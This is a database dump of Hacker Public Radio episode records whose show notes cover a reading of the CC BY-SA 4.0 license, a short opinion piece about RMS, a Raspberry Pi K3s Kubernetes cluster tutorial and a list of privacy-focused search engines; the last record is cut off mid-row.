(3432,'2021-09-28','Reading a license: Creative Commons Attribution ShareAlike 4.0 International',1956,'We jump into the future of 2013 and see how content licensing has changed','<p>Previous episode: <a href=\"https://hackerpublicradio.org/eps.php?id=3412\">https://hackerpublicradio.org/eps.php?id=3412</a><br><em>hpr3412 :: Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported</em></p>\r\n<p>Timeline</p>\r\n<ul>\r\n<li>2007-02-23 <a href=\"https://creativecommons.org/2007/02/23/version-30-launched/\">https://creativecommons.org/2007/02/23/version-30-launched/</a></li>\r\n<li>2007-09-26 <a href=\"https://www.gnu.org/licenses/gpl-3.0.html\">https://www.gnu.org/licenses/gpl-3.0.html</a></li>\r\n<li>2011-11-03 <a href=\"https://creativecommons.org/2011/11/03/copyright-experts-discuss-cc-license-version-4-0-at-the-global-summit/\">https://creativecommons.org/2011/11/03/copyright-experts-discuss-cc-license-version-4-0-at-the-global-summit/</a><ul>\r\n<li>Internationalization</li>\r\n<li>Interoperability</li>\r\n<li>Long-lasting</li>\r\n<li>Data/PSI (Public Sector Information?)/Science/Education</li>\r\n<li>Supporting Existing Adoption Models and Frameworks</li>\r\n</ul>\r\n</li>\r\n<li>2013-11-25 <a href=\"https://creativecommons.org/2013/11/25/ccs-next-generation-licenses-welcome-version-4-0/\">https://creativecommons.org/2013/11/25/ccs-next-generation-licenses-welcome-version-4-0/</a><ul>\r\n<li>30-day violation grace period<br><a href=\"https://creativecommons.org/faq/#how-can-i-lose-my-rights-under-a-creative-commons-license-if-that-happens-how-do-i-get-them-back\">https://creativecommons.org/faq/#how-can-i-lose-my-rights-under-a-creative-commons-license-if-that-happens-how-do-i-get-them-back</a></li>\r\n</ul>\r\n</li>\r\n<li>2013-12-06 16Z--18Z CC site moves to 4.0 -- last snapshot with 3.0 is <a href=\"https://web.archive.org/web/20131206155520/https://creativecommons.org/\">https://web.archive.org/web/20131206155520/https://creativecommons.org/</a></li>\r\n<li>2014-10-21 CC-by-SA 4.0 and Free Art License 1.3 defined as two-way compatible licenses<br><a href=\"https://creativecommons.org/2014/10/21/big-win-for-an-interoperable-commons-by-sa-and-fal-now-compatible/\">https://creativecommons.org/2014/10/21/big-win-for-an-interoperable-commons-by-sa-and-fal-now-compatible/</a></li>\r\n<li>2015-10-08 GPLv3 defined as a one-way compatible license for CC-by-SA 4.0<br><a href=\"https://creativecommons.org/2015/10/08/cc-by-sa-4-0-now-one-way-compatible-with-gplv3/\">https://creativecommons.org/2015/10/08/cc-by-sa-4-0-now-one-way-compatible-with-gplv3/</a></li>\r\n</ul>\r\n<p>Links to license and deed and links from within the texts</p>\r\n<ul>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">https://creativecommons.org/licenses/by-sa/4.0/</a></li>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">https://creativecommons.org/licenses/by-sa/4.0/legalcode</a><ul>\r\n<li><em>The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication.</em></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://freedomdefined.org/\">https://freedomdefined.org/</a><br>Definition of <em>Free Cultural Works</em></li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart</a><br>How to give credit</li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such</a><br>How to mark a work as modified</li>\r\n<li><a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F</a><br>How and when you can relicense a work</li>\r\n<li><a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited</a><br>Definition of <em>effective technological measure</em></li>\r\n<li><a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F</a><br>When do you not need a license</li>\r\n<li><a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees</a><br>Limitations, scope, community practices and advice</li>\r\n<li><a href=\"https://wiki.creativecommons.org/FAQ\">https://wiki.creativecommons.org/FAQ</a></li>\r\n</ul>\r\n<p>Other links</p>\r\n<ul>\r\n<li>39 jurisdiction ports of by-SA 3.0 <a href=\"https://wiki.creativecommons.org/wiki/CC_Ports_by_Jurisdiction\">https://wiki.creativecommons.org/wiki/CC_Ports_by_Jurisdiction</a></li>\r\n<li>Next episode will be based on <a href=\"https://creativecommons.org/version4/\">https://creativecommons.org/version4/</a></li>\r\n</ul>\r\n<hr>\r\n<h2 id=\"creative-commons-license-deed\">Creative Commons License Deed</h2>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">https://creativecommons.org/licenses/by-sa/4.0/</a></p>\r\n<p><em>The below is an Adaptation that has been reformatted for simplicity and focus on the text, removed graphical elements such as the Creative Commons Attribution and ShareAlike icons and has simple links to more info where there was originally a popup with a brief description and then a link.</em></p>\r\n<p><em>This Adaptation is released under CC-by 3.0: <a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a> </em></p>\r\n<h2 id=\"attribution-sharealike-4-0-international-cc-by-sa-4-0-\">Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)</h2>\r\n<p>This is a human-readable summary of (and not a substitute for) the <a href=\"/eps/hpr3432/\">license</a>.</p>\r\n<h3 id=\"disclaimer\">Disclaimer</h3>\r\n<blockquote>\r\n<p>This deed highlights only some of the key features and\r\nterms of the actual license. It is not a license and\r\nhas no legal value. You should carefully review all of\r\nthe terms and conditions of the actual license before\r\nusing the licensed material.</p>\r\n<p>Creative Commons is not a law firm and does not\r\nprovide legal services. Distributing, displaying, or\r\nlinking to this deed or the license that it summarizes\r\ndoes not create a lawyer-client or any other\r\nrelationship.</p>\r\n</blockquote>\r\n<h3 id=\"you-are-free-to-\">You are free to:</h3>\r\n<ul>\r\n<li><strong>Share</strong> - copy and redistribute the material in any medium or format</li>\r\n<li><strong>Adapt</strong> - remix, transform, and build upon the material for any purpose, even commercially.</li>\r\n</ul>\r\n<p><a href=\"https://freedomdefined.org/\"><img src=\"https://creativecommons.org/images/deed/seal.png\" alt=\"This license is acceptable for Free Cultural Works.\"></a></p>\r\n<p>The licensor cannot revoke these freedoms as long as you follow the license terms.</p>\r\n<h3 id=\"under-the-following-terms-\">Under the following terms:</h3>\r\n<ul>\r\n<li><strong>Attribution</strong> - You must give <a href=\"https://wiki.creativecommons.org/License_Versions#Detailed_attribution_comparison_chart\">appropriate credit</a>, provide a link to the license, and <a href=\"https://wiki.creativecommons.org/License_Versions#Modifications_and_adaptations_must_be_marked_as_such\">indicate if changes were made</a>. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.</li>\r\n<li><strong>ShareAlike</strong> - If you remix, transform, or build upon the material, you must distribute your contributions under the <a href=\"https://wiki.creativecommons.org/FAQ#If_I_derive_or_adapt_material_offered_under_a_Creative_Commons_license.2C_which_CC_license.28s.29_can_I_use.3F\">same license</a> as the original.</li>\r\n<li><strong>No additional restrictions</strong> - You may not apply legal terms or <a href=\"https://wiki.creativecommons.org/License_Versions#Application_of_effective_technological_measures_by_users_of_CC-licensed_works_prohibited\">technological measures</a> that legally restrict others from doing anything the license permits.</li>\r\n</ul>\r\n<h3 id=\"notices-\">Notices:</h3>\r\n<ul>\r\n<li>You do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable <a href=\"https://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_exceptions_and_limitations_to_copyright.2C_such_as_fair_dealing_and_fair_use.3F\">exception or limitation</a>.</li>\r\n<li>No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as <a href=\"https://wiki.creativecommons.org/Considerations_for_licensors_and_licensees\">publicity, privacy, or moral rights</a> may limit how you use the material.</li>\r\n</ul>\r\n<hr>\r\n<h2 id=\"creative-commons-legal-code\">Creative Commons Legal Code</h2>\r\n<p>Original: <a href=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">https://creativecommons.org/licenses/by-sa/4.0/legalcode</a>\r\nPlain Adaptation re-hosted on HPR: <a href=\"https://hackerpublicradio.org/eps/hpr3432/\">https://hackerpublicradio.org/eps/hpr3432/</a></p>\r\n',311,0,0,'CC-BY-SA','license, creative commons, recital, reading, legal',0,0,1),
(3433,'2021-09-29','A Squirrels thoughts about RMS',2565,'RMS and the subject of freedom','<hr />\r\n<p>\r\n<strong><em>\r\nThis podcast was provided by <a href=\"https://hackerpublicradio.org/correspondents/0377.html\">Zen_Floater2</a> in his personal capacity. The opinions expressed in this podcast are the author\'s own and do not reflect the view of Hacker Public Radio.<br />\r\n<small><a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\">Shownotes Edited by Ken</a> on 2021-09-11T14:35:19Z to <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#explicit\">include disclaimer</a>.</small>\r\n</em></strong>\r\n</p>\r\n<hr />\r\n\r\n\r\n\r\n<p>\r\nA Squirrels thoughts about freedom and RMS.\r\n</p>\r\n<p>\r\nI also cover guns on aircraft. I cover smoking on aircraft.\r\n</p>\r\n<p>\r\nAnd I cover drinking beer on aircraft.\r\n</p>\r\n<p>\r\nAnd COBOL as well.\r\n</p>\r\n',377,0,1,'CC-BY-SA','RMS,Pedophilia,BEER',0,0,1),
(3434,'2021-09-30','From 0 to K8s in 30 minutes',1938,'Build a Kubernetes cluster, run a website, route traffic to website','<p><a href=\"https://people.centos.org/pgreco/\">Install CentOS</a> <a href=\"https://www.raspberrypi.org/software/\">or Debian</a> on a Raspberry Pi. I\'m using CentOS, but I\'ll admit that Debian is the easier option by far.</p>\r\n<p>Do this on 3 separate Pi units, each with the same specs.</p>\r\n<h2 id=\"set-hostnames\">Set hostnames</h2>\r\n<p>You must have unique hostnames for each Pi. Without unique hostnames, your cluster cannot function.</p>\r\n<p>There are several \"kinds\" of hostnames, so to avoid confusion I change all of them.</p>\r\n<p>I use a simple naming scheme: <code>k</code> for \"kubernetes\" + an integer, starting at 100 + <code>c</code> for \"cluster\":</p>\r\n<pre class=\"bash\"><code>$ sudo hostname k100c\r\n$ sudo sysctl kernel.hostname=k100c\r\n$ sudo hostnamectl set-hostname k100c\r\n$ sudo reboot\r\n</code></pre>\r\n<p>Do this for each Pi. At a minimum, you end up with Pi computers named k100c, k101c, and k102c.</p>\r\n<h2 id=\"set-verbose-prompts\">Set verbose prompts</h2>\r\n<p>When working with many different hosts, it\'s helpful to have a very verbose prompt as a constant reminder of which host you\'re connected to. Add this to the <code>~/.bashrc</code> of each Pi:</p>\r\n<pre><code>export PS1=\'\\[&#x005C;033[1;32m\\]\\! \\d \\t \\h:\\w \\n% \\[&#x005C;033[00m\\]\' \r\n</code></pre>\r\n<h2 id=\"install-a-pi-finder-script\">Install a Pi finder script</h2>\r\n<p>Install an LED blinker so you can find a specific Pi when you need one. This brilliant script is by Chris Collins for his article <a href=\"https://opensource.com/article/20/6/find-raspberry-pi\">Use this script to find a Raspberry Pi on your network</a>, which explains how to run it.</p>\r\n<pre class=\"bash\"><code>#!/bin/bash\r\n\r\nset -o errexit\r\nset -o nounset\r\n\r\ntrap quit INT TERM\r\n\r\nCOUNT=0\r\nLED=&quot;/sys/class/leds/led0&quot;\r\n\r\nif ! [ $(id -u) = 0 ]; then\r\n echo &quot;Must be run as root.&quot;\r\n exit 1\r\nfi\r\n\r\nif [[ ! -d $LED ]]\r\nthen\r\n echo &quot;Could not find an LED at ${LED}&quot;\r\n echo &quot;Perhaps try &#39;/sys/class/leds/ACT&#39;?&quot;\r\n exit 1\r\nfi\r\n\r\nfunction quit() {\r\n echo mmc0 &gt;&quot;${LED}/trigger&quot;\r\n}\r\n\r\necho -n &quot;Blinking Raspberry Pi&#39;s LED - press CTRL-C to quit&quot;\r\necho none &gt;&quot;${LED}/trigger&quot;\r\n\r\nwhile true\r\ndo\r\n let &quot;COUNT=COUNT+1&quot;\r\n if [[ $COUNT -lt 30 ]]\r\n then\r\n echo 1 &gt;&quot;${LED}/brightness&quot;\r\n sleep 1\r\n echo 0 &gt;&quot;${LED}/brightness&quot;\r\n sleep 1\r\n else\r\n quit\r\n break\r\n fi\r\ndone\r\n</code></pre>\r\n<h2 id=\"install-k3s-on-your-control-plane\">Install K3s on your control plane</h2>\r\n<p>K3s is Kubernetes for IoT and Edge computing. It\'s the easiest, cleanest, and most serious method of getting Kubernetes on an ARM device. You can try other solutions (Microk8s, Minikube, OXD, and so on), but the best support comes from k3s.</p>\r\n<p>First, you must install k3s on one Pi. You can use any of your Pi units for this, but I use host k100c because it\'s the first in the sequence, so it feels logical.</p>\r\n<pre class=\"bash\"><code>[k100c]$ curl -sfL https://get.k3s.io -o install_k3s.sh\r\n[k100c]$ chmod 700 install_k3s.sh\r\n</code></pre>\r\n<p>Read the script to ensure that it seems to do what you expect, and then:</p>\r\n<pre class=\"bash\"><code>[k100c]$ ./install_k3s.sh\r\n</code></pre>\r\n<p>After installation, you\'re prompted to add some arguments to your bootloader. Open <code>/boot/cmdline.txt</code> in a text editor and add <code>cgroup_memory=1 cgroup_enable=memory</code> to the end of it.</p>\r\n<pre class=\"text\"><code>console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p3 rootfstype=ext4 elevator=deadline rootwait cgroup_memory=1 cgroup_enable=memory\r\n</code></pre>\r\n<p>Reboot:</p>\r\n<pre class=\"bash\"><code>[k100c]$ sudo reboot\r\n</code></pre>\r\n<p>Once the Pi is back up, verify that your node is ready:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl get node\r\nNAME STATUS ROLES AGE\r\nk100c Ready control-plane,master 42s\r\n</code></pre>\r\n<p>This Pi is the \"control plane\", meaning it\'s the Pi that you use to administer your cluster.</p>\r\n<h2 id=\"get-the-node-token\">Get the node token</h2>\r\n<p>Obtain the control plane\'s node token. Thanks to k3s, this is autogenerated for you. If you not using k3s, then you must generate your own with the command <code>kubeadm token generate</code>.</p>\r\n<p>Assuming you\'re using k3s:</p>\r\n<pre class=\"bash\"><code>$ MYTOKEN=$(sudo cat /var/lib/rancher/k3s/server/node-token)\r\n$ echo $MYTOKEN\r\nK76351a1c2497d907ba7a156028567e0ccc26b82d2174161c564152ab3add6cc3fb::server:808771e4e695e3e3465ed9a14a0581da\r\n</code></pre>\r\n<h2 id=\"add-your-control-plane-hostname-to-your-hosts-file\">Add your control plane hostname to your hosts file</h2>\r\n<p>If you know how to manage local DNS settings, then you can use a DNS service to identify the hosts in your cluster. Otherwise, the easy way to make your nodes know how to find your control plane is to add the control plane\'s hostname and IP address to the <code>/etc/hosts</code> file on each node. This also assumes that your control plane has a static local IP address. For example, this is the host file of k101c and k102c:</p>\r\n<pre class=\"text\"><code>127.0.0.1 localhost.localdomain localhost\r\n::1 localhost6.localdomain6 localhost6\r\n\r\n10.0.1.100 k100c\r\n</code></pre>\r\n<p>Verify that each host can find the control plane. For example:</p>\r\n<pre class=\"bash\"><code>[k101c]$ ping -c 1 k100c || echo &quot;fail&quot;\r\n[k101c]\r\n</code></pre>\r\n<h2 id=\"add-nodes-to-your-cluster\">Add nodes to your cluster</h2>\r\n<p>Now you can add the other Pi computers to your cluster. On each Pi you want to turn into a computer node, install k3s with the control plane and token as environment variables. On my second Pi, for instance, I run this command:</p>\r\n<pre class=\"bash\"><code>[k101c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN=&quot;${MYTOKEN}&quot; sh -\r\n</code></pre>\r\n<p>On my third and final Pi, I run the same command:</p>\r\n<pre class=\"bash\"><code>[k102c]$ curl -sfL https://get.k3s.io | K3S_URL=https://k100c:6443 K3S_TOKEN=&quot;${MYTOKEN}&quot; sh -\r\n</code></pre>\r\n<h2 id=\"verify-your-cluster\">Verify your cluster</h2>\r\n<p>On your control plane, verify that all nodes are active:</p>\r\n<pre class=\"bash\"><code>% k3s kubectl get nodes\r\nNAME STATUS ROLES AGE VERSION\r\nk100c Ready control-plane,master 2d23h v1.21.4+k3s1\r\nk102c Ready &lt;none&gt; 21h v1.21.4+k3s1\r\nk101c Ready &lt;none&gt; 20h v1.21.4+k3s1\r\n</code></pre>\r\n<p>It can take a few minutes for the control plane to discover all nodes, so wait a little while and try the command again if you don\'t see all nodes right away.</p>\r\n<p>You now have a Kubernetes cluster running. It isn\'t doing anything yet, but it\'s a functional Kubernetes cluster. That means you have a tiny Pi-based cloud entirely at your disposal. You can use it to learn about Kubernetes, cloud architecture, cloud-native development, and so on.</p>\r\n<h2 id=\"create-a-deployment-and-some-pods\">Create a deployment and some pods</h2>\r\n<p>Now that you have a Kubernetes cluster running, you can start running applications in containers. That\'s what Kubernetes does: it orchestrates and manages containers. You\'ve may have heard of containers. I did an episode about Docker containers in episode 1522 of HPR, you can go listen to that if you need to catch up. I\'ve also done an episode on LXC in episode 371 of my own show, GNU World Order.</p>\r\n<p>There\'s a sequence to launching containers within Kubernetes, a specific order you need to follow, because there are lots of moving parts and those parts have to reference each other. Generally, the hierarchy is this:</p>\r\n<ul>\r\n<li>namespaces are the \"project spaces\" of kubernetes. I cover this in great detail in my GNU World Order episode 13x39.</li>\r\n<li>create a deployment that manage pods.</li>\r\n<li>pods are groups of containers. it helps your cluster scale on demand.</li>\r\n<li>services are front-ends to deployments. A deployment can be running quietly in the background and it\'ll never see the light of day without a service pointing to it.</li>\r\n<li>traffic, or exposure. A service is only available to your cluster until you expose it to the outside world with an external IP address.</li>\r\n</ul>\r\n<p>First, create a namespace for your test application to use.</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl create namespace ktest\r\n</code></pre>\r\n<p>The Kubernetes project provides an <a href=\"https://k8s.io/examples/application/deployment.yaml\">example Nginx deployment definition</a>. Read through it to get an idea of what it does. It looks something like this:</p>\r\n<pre class=\"yaml\"><code>apiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n name: nginx-deployment\r\nspec:\r\n selector:\r\n matchLabels:\r\n app: nginx\r\n replicas: 2 # tells deployment to run 2 pods matching the template\r\n template:\r\n metadata:\r\n labels:\r\n app: nginx\r\n spec:\r\n containers:\r\n - name: nginx\r\n image: nginx:1.14.2\r\n ports:\r\n - containerPort: 80\r\n</code></pre>\r\n<p>This creates metadata named <code>nginx-deployment</code>. It also creates a label called <code>app</code>, and sets it to <code>nginx</code>. This metadata is used as <em>selectors</em> for pods and services later.</p>\r\n<p>For now, create a deployment using the example:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest \\\r\ncreate -f https://k8s.io/examples/application/deployment.yaml\r\n</code></pre>\r\n<p>Confirm that the deployment has generated and started new pods:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest get all\r\n3s kubectl --namespace ktest get all\r\nNAME READY\r\npod/nginx-deployment-66b[...] 1/1 Running\r\npod/nginx-deployment-66b[...] 1/1 Running\r\n\r\nNAME READY\r\ndeployment.apps/nginx-deployment 2/2\r\n\r\nNAME\r\nreplicaset.apps/nginx-deployment-66b6c48dd5\r\n</code></pre>\r\n<p>See the pods labelled with <code>app: nginx</code>:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest \\\r\nget pods -l app=nginx\r\nNAME READY STATUS\r\nnginx-deployment-66b6c48dd5-9vgg8 1/1 Running\r\nnginx-deployment-66b6c48dd5-prgrf 1/1 Running\r\nnginx-deployment-66b6c48dd5-cqpgf 1/1 Running\r\n</code></pre>\r\n<h2 id=\"create-a-service\">Create a service</h2>\r\n<p>Now you must connect the Nginx instance with a Kubernetes Service.</p>\r\n<p>The <code>selector</code> element is set to <code>nginx</code> to match pods running the <code>nginx</code> application. Without this selector, there would be nothing to correlate your service with the pods running the application you want to serve.</p>\r\n<pre class=\"bash\"><code>[k100c]$ cat &lt;&lt; EOF | k3s kubectl \\\r\n--namespace ktest create -f -\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n name: nginx-deployment\r\n labels:\r\n run: nginx-deployment\r\nspec:\r\n ports:\r\n - port: 80\r\n protocol: TCP\r\n selector:\r\n app: nginx\r\nEOF\r\nservice/nginx-deployment created\r\n</code></pre>\r\n<p>Verify that the service exists:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl --namespace ktest get svc nginx-deployment\r\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE\r\nnginx-deployment ClusterIP 10.43.32.89 &lt;none&gt; 80/TCP 58s\r\n</code></pre>\r\n<p>A Service is backed by a group of Pods. Pods are exposed through endpoints. A Service uses POST actions to populate Endpoints objects named <code>nginx-deployment</code>. Should a Pod die, it\'s removed from the endpoints, but new Pods matching the same selector are added to the endpoints. This is how Kubernetes ensures your application\'s uptime.</p>\r\n<p>To see more information:</p>\r\n<pre class=\"bash\"><code>[k100c]$ k3s kubectl \\\r\n--namespace ktest \\\r\ndescribe svc nginx-deployment\r\nName: nginx-deployment\r\nNamespace: ktest\r\nLabels: run=nginx-deployment\r\nAnnotations: &lt;none&gt;\r\nSelector: app=nginx\r\nType: ClusterIP\r\nIP Family Policy: SingleStack\r\nIP Families: IPv4\r\nIP: 10.43.251.104\r\nIPs: 10.43.251.104\r\nPort: &lt;unset&gt; 80/TCP\r\nTargetPort: 80/TCP\r\nEndpoints: 10.42.2.8:80,10.42.2.9:80,10.42.3.7:80\r\nSession Affinity: None\r\nEvents: &lt;none&gt;\r\n</code></pre>\r\n<p>Notice that the <code>Endpoints</code> value is set to a series of IP addresses. This confirms that instances of Nginx are accessible. The IP of the service is set to 10.43.251.104, and it\'s running on port 80/TCP. That means you can log onto any of your nodes (referred to as \"inside the cluster\") to interact with your Nginx app. This does not work from your control plane, only from a node.</p>\r\n<pre class=\"bash\"><code>[k101c]$ curl https://10.43.251.104\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;Welcome to nginx!&lt;/title&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n</code></pre>\r\n<p>Nginx is accessible.</p>\r\n<p>The only thing left to do now is to route traffic from the outside world.</p>\r\n<h2 id=\"exposing-a-deployment\">Exposing a deployment</h2>\r\n<p>For a deployed application to be visible outside your cluster, you need to route network traffic to it. There are many tools that provide that functionality.</p>\r\n<p>Install metallb:</p>\r\n<pre class=\"bash\"><code>$ k3s kubectl apply \\\r\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/namespace.yaml\r\n$ k3s kubectl apply \\\r\n-f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/metallb.yaml\r\n$ k3s kubectl create secret generic \\\r\n-n metallb-system memberlist \\\r\n--from-literal=secretkey=&quot;$(openssl rand -base64 128)&quot;\r\n</code></pre>\r\n<p>Determine what network range you want your cluster to use. This must not overlap with what your DHCP server is managing.</p>\r\n<pre class=\"bash\"><code>---\r\napiVersion: v1\r\nkind: ConfigMap\r\nmetadata:\r\n namespace: metallb-system\r\n name: config\r\ndata:\r\n config: |\r\n address-pools:\r\n - name: address-pool-0\r\n protocol: layer2\r\n addresses:\r\n - 10.0.1.1/26\r\n</code></pre>\r\n<p>Save this as <code>metallb.yaml</code> and apply the configuration:</p>\r\n<pre class=\"bash\"><code>$ k3s kubectl apply -f metallb.yaml\r\n</code></pre>\r\n<p>You now have a configmap for metallb, and metallb is running.</p>\r\n<p>Create a load balance service mapping your deployment\'s ports (port 80 in this case, which you can verify with <code>k3s kubectl -n ktest get all</code>). Save this as <code>loadbalance.yaml</code>:</p>\r\n<pre class=\"bash\"><code>---\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n name: ktest-ext\r\n namespace: ktest\r\nspec:\r\n selector:\r\n app: nginx\r\n ports:\r\n - protocol: TCP\r\n port: 80\r\n targetPort: 80\r\n type: LoadBalancer\r\n</code></pre>\r\n<p>This service selects any deployment in the <code>ktest</code> namespace with an <code>app</code> name of <code>nginx</code>, and maps the container\'s port 80 to a port 80 for an IP address within your address range (in my example, that\'s 10.0.1.1/26, or 10.0.1.1-10.0.1.62).</p>\r\n<pre class=\"bash\"><code>$k3s kubectl apply -f loadbalance.yaml\r\n</code></pre>\r\n<p>Find out what external IP address it got:</p>\r\n<pre><code>$ k3s kubectl get service ktest-ext -n ktest\r\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)\r\nktest LoadBalancer 10.43.138.91 10.0.1.3 80:31790/TCP\r\n</code></pre>\r\n<p>Open a web browser and navigate to the external IP address listed (in this example, 10.0.1.3).</p>\r\n<p><img src=\"https://gnuworldorder.info/tank/nginx-welcome.webp\" alt=\"Nginx\" /></p>\r\n',78,61,0,'CC-BY-SA','network, kubernetes, cloud',0,0,1),
(3438,'2021-10-06','Ten privacy friendly Google search alternatives.',551,'Google search is monopolistic here are some alternatives','<p>Here are links to all the search engines and related stuff discussed during this podcast,</p>\r\n<ul>\r\n<li>Searx: <a href=\"https://www.searx.me/\" class=\"uri\">https://www.searx.me/</a>\r\n<ul>\r\n<li>Searx public instances: <a href=\"https://searx.space/\" class=\"uri\">https://searx.space/</a></li>\r\n</ul></li>\r\n<li>Whoogle: <a href=\"https://github.com/benbusby/whoogle-search\" class=\"uri\">https://github.com/benbusby/whoogle-search</a>\r\n<ul>\r\n<li>Whoogle public instances: <a href=\"https://github.com/benbusby/whoogle-search#public-instances\" class=\"uri\">https://github.com/benbusby/whoogle-search#public-instances</a></li>\r\n</ul></li>\r\n<li>MetaGer: <a href=\"https://metager.org/\" class=\"uri\">https://metager.org/</a>\r\n<ul>\r\n<li>MetaGer browser extensions: <a href=\"https://metager.org/plugin\" class=\"uri\">https://metager.org/plugin</a></li>\r\n<li>MetaGer mobile apps: <a href=\"https://metager.org/app\" class=\"uri\">https://metager.org/app</a></li>\r\n<li>MetaGer privacy policy: <a href=\"https://metager.org/datenschutz\" class=\"uri\">https://metager.org/datenschutz</a></li>\r\n</ul></li>\r\n<li>Gigablast: <a href=\"https://gigablast.com/\" class=\"uri\">https://gigablast.com/</a>\r\n<ul>\r\n<li>Gigablast privacy policy: <a href=\"https://gigablast.com/privacy.html\" class=\"uri\">https://gigablast.com/privacy.html</a></li>\r\n</ul></li>\r\n<li>Private.sh: <a href=\"https://private.sh/\" class=\"uri\">https://private.sh/</a>\r\n<ul>\r\n<li>Private.sh privacy policy: <a href=\"https://private.sh/extension.html\" class=\"uri\">https://private.sh/extension.html</a></li>\r\n</ul></li>\r\n<li>Ecosia: <a href=\"https://www.ecosia.org/\" class=\"uri\">https://www.ecosia.org/</a>\r\n<ul>\r\n<li>Ecosia mobile apps: <a href=\"https://info.ecosia.org/mobile\" class=\"uri\">https://info.ecosia.org/mobile</a></li>\r\n<li>Ecosia privacy policy: <a href=\"https://info.ecosia.org/privacy\" class=\"uri\">https://info.ecosia.org/privacy</a></li>\r\n</ul></li>\r\n<li>Startpage: <a href=\"https://www.startpage.com/\" class=\"uri\">https://www.startpage.com/</a>\r\n<ul>\r\n<li>Startpage privacy policy: <a href=\"https://www.startpage.com/en/search/privacy-policy.html\" class=\"uri\">https://www.startpage.com/en/search/privacy-policy.html</a></li>\r\n</ul></li>\r\n<li>Qwant: <a href=\"https://www.qwant.com/\" class=\"uri\">https://www.qwant.com/</a>\r\n<ul>\r\n<li>Qwant Junior: <a href=\"https://www.qwantjunior.com/\" class=\"uri\">https://www.qwantjunior.com/</a></li>\r\n<li>Qwant browser extensions: <a href=\"https://help.qwant.com/help/qwant-search/add-qwant-on-desktop/\" class=\"uri\">https://help.qwant.com/help/qwant-search/add-qwant-on-desktop/</a></li>\r\n<li>Qwant privacy policy: <a href=\"https://about.qwant.com/en/legal/confidentialite/\" class=\"uri\">https://about.qwant.com/en/legal/confidentialite/</a></li>\r\n</ul></li>\r\n<li>Brave Search: <a href=\"https://search.brave.com/\" class=\"uri\">https://search.brave.com/</a>\r\n<ul>\r\n<li>Brave Search privacy policy: <a href=\"https://search.brave.com/help/privacy-policy\" class=\"uri\">https://search.brave.com/help/privacy-policy</a></li>\r\n</ul></li>\r\n<li>DuckDuckGo: <a href=\"https://duckduckgo.com/\" class=\"uri\">https://duckduckgo.com/</a>\r\n<ul>\r\n<li>DuckDuckGo browser extensions &amp; apps: <a href=\"https://duckduckgo.com/app\" class=\"uri\">https://duckduckgo.com/app</a></li>\r\n<li>DuckDuckGo privacy policy: <a href=\"https://duckduckgo.com/privacy\" class=\"uri\">https://duckduckgo.com/privacy</a></li>\r\n</ul></li>\r\n</ul>\r\n<hr />\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0773\">hpr0773 :: Interview with Gabriel Weinberg of DuckDuckGo</a></p>\r\n',397,74,0,'CC-BY-SA','searx, whoogle, metager, gigablast, private.sh, ecosia, startpage, qwant, brave, 